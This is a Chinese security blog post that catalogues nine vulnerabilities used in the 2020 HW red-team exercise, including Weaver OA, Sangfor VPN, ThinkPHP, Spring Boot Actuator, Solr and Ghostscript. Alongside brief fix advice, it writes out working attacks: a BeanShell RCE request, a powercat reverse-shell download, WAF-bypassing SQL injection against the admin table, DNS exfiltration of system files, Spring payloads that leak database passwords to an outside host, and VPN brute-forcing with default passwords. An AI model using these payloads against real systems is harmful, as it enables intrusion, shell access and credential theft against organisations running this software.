2020HW行动部分漏洞详解


0#前言
大家估计都很期待2020HW后流出的0Day漏洞吧?
话不多说,直接上第一期吧,这里也参照了很多前辈的文章,感谢各位前辈的文章!
本期先放9个漏洞,希望大家喜欢!

1#泛微OA Bsh 远程代码执行漏洞
  • 漏洞简介:
2019年9月17日,泛微OA官方更新了一个远程代码执行漏洞补丁。
泛微e-cology OA系统的Java Beanshell接口可被未授权访问,攻击者调用该Beanshell接口,可构造特定的HTTP请求绕过泛微本身一些安全限制从而达成远程命令执行,漏洞等级严重!
  • 影响组件:
泛微OA
  • 漏洞指纹:
Set-Cookie: ecology_JSessionId=ecology/weaver/bsh.servlet.BshServlet
  • Fofa Dork:
app="泛微-协同办公OA"
  • 漏洞分析:
泛微OA E-cology远程代码执行漏洞原理分析 – FreeBuf互联网安全新媒体平台
https://www.freebuf.com/vuls/215218.html
https://github.com/beanshell/beanshell
http://beanshell.org/manual/quickstart.html#The_BeanShell_GUI
  • 漏洞利用:
Vulnerability-analysis/0917/weaver-oa/CNVD-2019-32204 at master · myzing00/Vulnerability-analysis
https://github.com/myzing00/Vulnerability-analysis/tree/master/0917/weaver-oa/CNVD-2019-32204
POST /weaver/bsh.servlet.BshServlet HTTP/1.1
Host: xxxxxxxx:8088
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 98
Content-Type: application/x-www-form-urlencoded
bsh.script=eval%00("ex"%2b"ec(\"whoami\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw
  • 利用技巧:
1.其他形式绕过
eval%00("ex"%2b"ec(\"whoami\")"); 也可以换成 ex\u0065c("cmd /c dir");

2.泛微多数都是windows环境, 反弹shell可以使用pcat
Powershell
IEX(New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c ip -p 6666 -e cmd
  • 防护方法:
1.及时更新泛微补丁
2.拦截/weaver/bsh.servlet.BshServlet目录的访问

2#泛微OA e-cology SQL注入漏洞
  • 漏洞简介:
泛微OA在国内的用户很多,漏洞以前也很多,但现在在漏洞盒子托管了,使得情况有所好转。
  • 影响组件:
泛微OA
  • 漏洞指纹:
Set-Cookie: ecology_JSessionId=
ecology
WorkflowCenterTreeData
/mobile/plugin/SyncUserInfo.jsp
  • Fofa Dork:
app="泛微-协同办公OA"
  • 漏洞分析:
泛微OA WorkflowCenterTreeData接口注入漏洞(限oracle数据库) – 先知社区
https://xz.aliyun.com/t/6531
  • 漏洞利用:
泛微OA e-cology WorkflowCenterTreeData前台接口SQL注入漏洞复现数据库小龙人-CSDN博客
https://blog.csdn.net/zycdn/article/details/102494037
Tentacle/ecology8_mobile_sql_inject.py at 6e1cecd52b10526c4851a26249339367101b3ca2 · orleven/Tentacle
https://github.com/orleven/Tentacle/blob/6e1cecd52b10526c4851a26249339367101b3ca2/script/ecology/ecology8_mobile_sql_inject.py
应用安全 – 软件漏洞 – 泛微OA漏洞汇总 – AdreamWillB – 博客园
https://www.cnblogs.com/AtesetEnginner/p/11558469.html
/mobile/plugin/SyncUserInfo.jsp 这个也是有问题的, 但由于没有公开的分析报告, 漏洞相对简单, 这里不过多描述
  • 利用技巧:
1.在这个漏洞补丁之前大概有几十个前台注入, 都差不多, 因为没公开这里就不细说了

2.泛微的补丁中间改过一次过滤策略, 打完所有补丁的话, 注入就很难了

3.这里可以绕过的原因是泛微某个过滤器初始化错误,当长度超过xssMaxLength=500的时候就不进入安全检测,
修复以后是xssMaxLength=1000000,所以随便你填充%0a%0d还是空格都可以绕过注入检测

4.泛微后端数据库版本存在差异,但是可以通用检测。已知泛微OA E8存在2个版本的数据库, 一个是mssql, 一个是oracle, 且新旧版本泛微的sql过滤方法并不一致所以这里筛选出一个相对通用的检测手法(下面代码是python的" "*800 800个空格)
"-1) "+" "*800+ "union select/**/1, Null, Null, Null, Null, Null, Null, Null from Hrmresourcemanager where loginid=('sysadmin'"
老版本可以在关键字后面加 /**/ 来绕过sql检测,而新版本可以通过加入大量空格/换行来绕过SQL检测mssql,oracle中都有Hrmresourcemanager , 这是管理员信息表
就Hrmresource表中没有用户, Hrmresourcemanager 表中也一定会存在sysadmin账户,所以进行union select的时候一定会有数据。这里也可以使用 "-1) "+" "*800+ " or/**/ 1=1 and id<(5",这里使用 <5 可以避免信息超过5条, 但是会返回密码等敏感信息, 不建议使用。
  • 防护方法:
1.及时更新泛微补丁
2.泛微最好不要开放到公网
3.使用WAF拦截攻击

3#深信服VPN远程代码执行
  • 漏洞简介:
深信服 VPN 某个特定产品存在远程代码执行,2019 攻防演练也使用过
  • 影响组件:
深信服 VPN
  • 漏洞指纹:
Set-Cookie: TWFID=welcome to ssl vpn Sinfor
  • Fofa Dork:
header="Set-Cookie: TWFID="
  • 漏洞分析:
深信服vpnweb登录逆向学习 – potatso – 博客园
https://www.cnblogs.com/potatsoSec/p/12326356.html
  • 漏洞利用:
wget -t %d -T %d --spider %s
  • 利用技巧:
1.该版本深信服VPN,属于相对早期的版本,是大概2008年左右的版本,但目前还有761个IP地址开放在公网

2.该版本较低,whomai不存在,可以使用 uname,这里没有空格可dns传出来。

3.去除空格也简单 cat /etc/passwd | tr " \n" "+|"
  • 防护方法:
1.及时更新补丁
2.升级到最新版

4#深信服 VPN 口令爆破
  • 漏洞简介:
深信服 VPN 针对口令爆破是5次错误锁定IP五分钟, 所以这里爆破也不是不行, 主要是测试常见弱口令以及分布式爆破也不是不行
  • 影响组件:
深信服 VPN
  • 漏洞指纹:
/por/login_auth.csp?apiversion=1sangfor/cgi-bin/login.cgi?rnd=
  • Fofa Dork:
app="深信服-SSL-VPN"
  • 漏洞分析:
关于SSL VPN认证时的验证码绕过 – SSL VPN/EMM – 深信服社区
https://bbs.sangfor.com.cn/forum.php?mod=viewthread&tid=20633
  • 漏洞利用:
深信服VPN 口令爆破 demo (这里仅测试了M6,其他的应该差不多)
#encoding=utf8
import requests
import hashlib
import urllib3
urllib3.disable_warnings()
import re
session = requests.session()
def SanForLogin(target, password, username="admin"):
    # 加密密码的算法是 sha1(password+sid)
    # 没有公开POC就不写了
SanForLogin("https://xxxxxxxxxxx/", "admin")
  • 利用技巧:
1.由于深信服所涉及版本,跨度时间长达十几年,很多地方不一样,但总体差不太多,国外APT组织应该也批量爆破了一波,加密的密码也就是 sha1(password+sid)
爆破也就锁一会IP,夜里丢一边跑着就完事了,弱口令也就那么些admin/123456/Sangfor/Sangfor@123

2.如果爆破出来了管理员密码,管理员后台有好多处命令注入,比如升级工具,这里讲起来应该是正常功能

3.去年传闻还有前台SQL注入,但是没拿到补丁,看一下其他前辈的文章。
深信服SSLVPN外置数据中心敏感信息泄漏&SQL注入漏洞可导致getshell
https://www.uedbox.com/post/31092/
  • 防护方法:
1.及时更新补丁
2.升级到最新版

5#边界产品(防火墙/网关/路由器/VPN) 相关漏洞
  • 漏洞简介:
大型企业往往会配置一些边界设备来维护企业内外网通信, 这里也存在灯下黑的问题, 由于多数不开源, 漏洞主要以弱口令为主
  • 影响组件:
相关防火墙/网关/路由器/VPN
  • 漏洞指纹:
相关防火墙/网关/路由器/VPN
  • Fofa Dork:
相关防火墙/网关/路由器/VPN的名称
  • 漏洞分析:
【安全设备】常见网络安全设备默认口令|IT2021.Com
https://www.it2021.com/security/614.html
渗透测试之各厂商防火墙登录IP、初始密码、技术支持
https://mp.weixin.qq.com/s/OLf7QDl6qcsy2FOqCQ2icA
  • 漏洞利用:
【安全设备】常见网络安全设备默认口令|IT2021.Com
https://www.it2021.com/security/614.html
渗透测试之各厂商防火墙登录IP、初始密码、技术支持
https://mp.weixin.qq.com/s/OLf7QDl6qcsy2FOqCQ2icA
  • 利用技巧:
这个东西,好多人不改默认口令。就算改很多也是企业特色弱口令,比如:admin root 123456 永远的神
内网的安全平台就是个漏洞指南哈哈哈哈
  • 防护方法:
1.设置强口令
2.限制来源IP

6#Thinkphp 相关漏洞
  • 漏洞简介:
Thinkphp 是国内很常见的PHP框架, 存在 远程代码执行/sql注入/反序列化/日志文件泄露等问题
  • 影响组件:
Thinkphp
  • 漏洞指纹:
Thinkphp X-Powered-By: ThinkPHP
  • Fofa Dork:
app="ThinkPHP"
  • 漏洞分析:
ThinkPHP漏洞总结 – 赛克社区
http://zone.secevery.com/article/1165
挖掘暗藏ThinkPHP中的反序列利用链 – 斗象能力中心
https://blog.riskivy.com/%E6%8C%96%E6%8E%98%E6%9A%97%E8%97%8Fthinkphp%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%88%A9%E7%94%A8%E9%93%BE/
ThinkPHP使用不当可能造成敏感信息泄露PHP_Fly鹏程万里-CSDN博客
https://blog.csdn.net/Fly_hps/article/details/81201904
DSMall代码审计 – 安全客,安全资讯平台
https://www.anquanke.com/post/id/203461
  • 漏洞利用:
SkyBlueEternal/thinkphp-RCE-POC-Collection: thinkphp v5.x 远程代码执行漏洞-POC集合
https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection
Dido1960/thinkphp: thinkphp反序列化漏洞复现及POC编写
https://github.com/Dido1960/thinkphp
whirlwind110/tphack: Thinkphp3/5 Log文件泄漏利用工具
https://github.com/whirlwind110/tphack
  • 利用技巧:
1.遇到Thinkphp的站点看一下版本, 或者直接扫一下, 看看有没有RCE, 或者日志文件泄露

2.自从挖了thinphp的反序列化利用链以后, 这类型考题经常出没在CTF中

3.实战中也看到偶尔有可以利用的情况, 运气好可能有惊喜, 刚好有篇新出的文章中使用到了这个漏洞
DSMall代码审计 – 安全客,安全资讯平台
https://www.anquanke.com/post/id/203461
  • 防护方法:
1.及时更新补丁
2.升级到最新版Thinkphp
3.前置WAF进行防护

7#Spring 系列漏洞
  • 漏洞简介:
Spring 是java web里最最最最常见的组件了, 自然也是研究的热门, 好用的漏洞主要是Spring Boot Actuators 反序列化, 火起来之前用了一两年, 效果很棒
  • 影响组件:
Spring xxx
  • 漏洞指纹:
X-Application-Context:
  • Fofa Dork:
app="Spring-Framework"
  • 漏洞分析:
Spring 框架漏洞集合 ~ Misaki’s Blog
https://misakikata.github.io/2020/04/Spring-%E6%A1%86%E6%9E%B6%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88/
Exploiting Spring Boot Actuators | Veracode blog
https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
Spring Boot Actuators配置不当导致RCE漏洞复现 – JF ‘ blog
https://jianfensec.com/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Spring%20Boot%20Actuators%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4RCE%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
  • 漏洞利用:
mpgn/Spring-Boot-Actuator-Exploit: Spring Boot Actuator (jolokia) XXE/RCE
https://github.com/mpgn/Spring-Boot-Actuator-Exploit
artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads
https://github.com/artsploit/yaml-payload
  • 利用技巧:
1.Spring Boot Actuators 相关漏洞超级好用,很多厂商一开始都不懂, 直接对外开放Spring Boot Actuators, 造成了有一段时间每个用了Spring Boot的厂商都出了问题,尤其是现在很多厂商使用微服务框架, 通过网关进行路由分发, 一些子目录通常对应一个Spring Boot启动的服务。然后子目录比如 http://123.123.123.123/admin/env , http://123.123.123.123/manager/env也都是可以出现的/env 可以偷session,RCE/heapdump 可以直接dump jvm中的对象, 使用 jhat 可以读取里面的对象可以遍历如下的endpoint, 1.x 2.x的目录不一样, 所以都覆盖了一下
/trace
/health
/loggers
/metrics
/autoconfig
/heapdump
/threaddump
/env
/info
/dump
/configprops
/mappings
/auditevents
/beans
/jolokia
/cloudfoundryapplication
/hystrix.stream
/actuator
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
/monitor
/monitor/auditevents
/monitor/beans
/monitor/health
/monitor/conditions
/monitor/configprops
/monitor/env
/monitor/info
/monitor/loggers
/monitor/heapdump
/monitor/threaddump
/monitor/metrics
/monitor/scheduledtasks
/monitor/httptrace
/monitor/mappings
/monitor/jolokia
/monitor/hystrix.stream
这里通过 /env + /refresh 进行rce应该还有其他利用手法,当spring boot reload的时候会进行一些默认操作,里面就有操作空间,很像fastjson反序列化。
2.就算实在不能RCE, 这里也有个技巧可以偷取 Spring 配置文件中的加密字段, 偷一下生产环境的密码/key也ok
eureka.client.serviceUrl.defaultZone=http://${somedb.pasword}@127.0.0.1:5000
spring.cloud.bootstrap.location=http://${somedb.password}@artsploit.com/yaml-payload.yml

3.尤其是使用spring eureka做集群的时候, 通常拿到一台服务器, 就可以传递恶意注册到其他server, 从而感染整个微服务集群eureka 通常是 server 也是 client, 无论对方请求什么都直接返回恶意序列化xml就可以了
  • 防护方法:
1.及时更新补丁
2.开启Spring Boot Actuators权限校验
3.前置WAF进行防护

8#Solr 系列漏洞
漏洞简介:
Solr 是企业常见的全文搜索服务, 这两年也爆出很多安全漏洞,
影响组件:
Solr
漏洞指纹:
Solr
Fofa Dork:
app="Solr"
漏洞分析:
Apache Solr最新RCE漏洞分析 – FreeBuf互联网安全新媒体平台
https://www.freebuf.com/vuls/218730.html
Apache Solr DataImportHandler 远程代码执行漏洞(CVE-2019-0193) 分析
https://paper.seebug.org/1009/
漏洞利用:
veracode-research/solr-injection: Apache Solr Injection Research
https://github.com/veracode-research/solr-injection
jas502n/CVE-2019-12409: Apache Solr RCE (ENABLE_REMOTE_JMX_OPTS=”true”)
https://github.com/jas502n/CVE-2019-12409
mogwailabs/mjet: MOGWAI LABS JMX exploitation toolkit
https://github.com/mogwailabs/mjet
利用技巧:
1.看到锤就完事了, 漏洞太多了, 一片一片的

2.遇到mjet连接超时,这是目标服务起返回了错误的stub(内网地址, 常见于docker), 可以使用socat进行流量转发, 后记里面有具体操作
防护方法:
1.升级到最新版
2.不要对外开放敏感端口

9#Ghostscript 上传图片代码执行
  • 漏洞简介:
Ghostscript 是图像处理中十分常用的库, 集成在imagemagick等多个开源组件中, 其 .ps文件存在沙箱绕过导致代码执行的问题影响广泛, 由于上传图片就有可能代码执行, 很多大厂中招
  • 影响组件:
imagemagick, libmagick, graphicsmagick, gimp, python-matplotlib, texlive-core, texmacs, latex2html, latex2rtf 等图像处理应用
  • 漏洞指纹:
.ps/.jpg/.png
Fofa Dork:
  • 漏洞分析:
ghostscript命令执行漏洞预警 – 安全客, 安全资讯平台
https://www.anquanke.com/post/id/157513
  • 漏洞利用:
Exploit Database Search
https://www.exploit-db.com/search?q=Ghostscript
vulhub/ghostscript/CVE-2019-6116 at master · vulhub/vulhub
https://github.com/vulhub/vulhub/tree/master/ghostscript/CVE-2019-6116
  • 利用技巧:
如果发现网站可以上传图片, 且图片没有经过裁剪, 最后返回缩略图, 这里就可能存在Ghostscript 上传图片代码执行dnslog 可以用 ping `uname`.admin.ceye.io 或 ping `whoami`.admin.ceye.io保存成图片, 以后用起来方便, 有个版本的 centos 和 ubuntu poc还不一样, 可以这样构造ping `whoami`.centos.admin.ceye.io / ping `whoami`.ubuntu.admin.ceye.io分别命名为 centos_ps.jpg/ubuntu_ps.jpg, 这样测试的时候直接传2个文件, 通过DNSLOG可以区分是哪个poc执行的
  • 防护方法:
1.升级到最新版

本博客所有文章如无特别注明均为原创。作者:渊龙Sec团队复制或转载请以超链接形式注明转自 渊龙Sec安全团队博客
原文地址《2020HW行动部分漏洞详解
分享到:更多

相关推荐

发表评论

路人甲 表情
看不清楚?点图切换 Ctrl+Enter快速提交

网友评论(0)